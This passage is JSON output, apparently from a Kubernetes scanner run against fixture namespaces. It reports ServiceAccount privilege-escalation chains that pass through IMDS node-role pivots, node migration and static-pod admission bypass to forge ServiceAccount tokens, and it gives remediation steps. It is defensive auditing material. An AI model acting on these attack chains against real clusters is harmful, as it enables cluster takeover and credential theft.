        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/ingress-only/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/ingress-only/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/ingress-only/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/ingress-only/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS\n  2. `ServiceAccount/ingress-only/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "ingress-only"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/ingress-only/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/ingress-only/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/ingress-only/default`.",
      "Acting as `ServiceAccount/ingress-only/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/ingress-only/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/ingress-only/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/ingress-only/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "ingress-only"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod ingress-only/ingress-app-7bdfc6c57-5rxwj falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "ingress-only"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/lp-fixtures/sa-lp-narrow:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-narrow` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-narrow` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/lp-fixtures/sa-lp-narrow` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS\n  2. `ServiceAccount/lp-fixtures/sa-lp-narrow` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-narrow",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-narrow` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/lp-fixtures/sa-lp-narrow` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/lp-fixtures/sa-lp-narrow`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-narrow`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-narrow`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-narrow` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-narrow` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-narrow",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-narrow-app-6b8848bf64-n4wrj falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-narrow",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/lp-fixtures/sa-lp-orphan:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-orphan` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-orphan` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/lp-fixtures/sa-lp-orphan` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS\n  2. `ServiceAccount/lp-fixtures/sa-lp-orphan` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-orphan",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-orphan` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/lp-fixtures/sa-lp-orphan` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/lp-fixtures/sa-lp-orphan`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-orphan`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-orphan`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-orphan` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-orphan` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-orphan",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-orphan-app-68d649f6c5-465c8 falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-orphan",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/lp-fixtures/sa-lp-wildcard:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/lp-fixtures/sa-lp-wildcard` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/lp-fixtures/sa-lp-wildcard` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS\n  2. `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-lp-wildcard",
      "namespace": "lp-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/lp-fixtures/sa-lp-wildcard` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/lp-fixtures/sa-lp-wildcard` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/lp-fixtures/sa-lp-wildcard`.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-wildcard`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/lp-fixtures/sa-lp-wildcard`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/lp-fixtures/sa-lp-wildcard` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-wildcard",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod lp-fixtures/lp-wildcard-app-7bb4d99f67-kd5xw falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-lp-wildcard",
          "namespace": "lp-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/netpol-imds/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/netpol-imds/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/netpol-imds/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/netpol-imds/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS\n  2. `ServiceAccount/netpol-imds/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "netpol-imds"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/netpol-imds/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/netpol-imds/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/netpol-imds/default`.",
      "Acting as `ServiceAccount/netpol-imds/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/netpol-imds/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/netpol-imds/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/netpol-imds/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "netpol-imds"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod netpol-imds/imds-allow-app-7f9f6cb9df-vdq6v falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "netpol-imds"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/privesc-fixtures/sa-node-migrate:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-node-migrate` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-node-migrate` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/privesc-fixtures/sa-node-migrate` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  2. `ServiceAccount/privesc-fixtures/sa-node-migrate` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-node-migrate",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-node-migrate` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-node-migrate` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-node-migrate`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-node-migrate`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-node-migrate`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. node_drain_migrate [delete pods + update nodes/status]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "node_drain_migrate",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "node_drain_migrate",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-node-migrate` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `delete pods + update nodes/status` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-node-migrate` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
